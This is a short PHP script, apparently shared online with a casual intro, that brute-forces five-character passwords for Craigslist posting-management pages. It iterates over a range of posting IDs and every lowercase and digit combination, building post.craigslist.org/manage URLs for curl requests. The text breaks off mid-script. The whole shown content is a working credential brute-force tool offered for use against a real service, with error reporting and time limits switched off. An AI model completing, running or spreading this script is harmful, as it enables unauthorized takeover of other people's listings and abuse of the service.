this script generates password for each given posting id until reaches the panel page, i made it quickly so if there is any bugs sorry

<?php
error_reporting(0);
set_time_limit(0);
$arr1 = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9");
for ($bbbb=2328238558 ; $bbbb<2328238560 ; $bbbb++){ // here we put the number of the start postingid and the end postingid
foreach ($arr1 as $value1) {
foreach ($arr1 as $value2) {
foreach ($arr1 as $value3) {
foreach ($arr1 as $value4) {
foreach ($arr1 as $value5) {
	$aaaa = ''.$value1.''.$value2.''.$value3.''.$value4.''.$value5.'';
	$LOGINURL = "https://post.craigslist.org/manage/$bbbb/$aaaa";
    	$ch = curl_init();
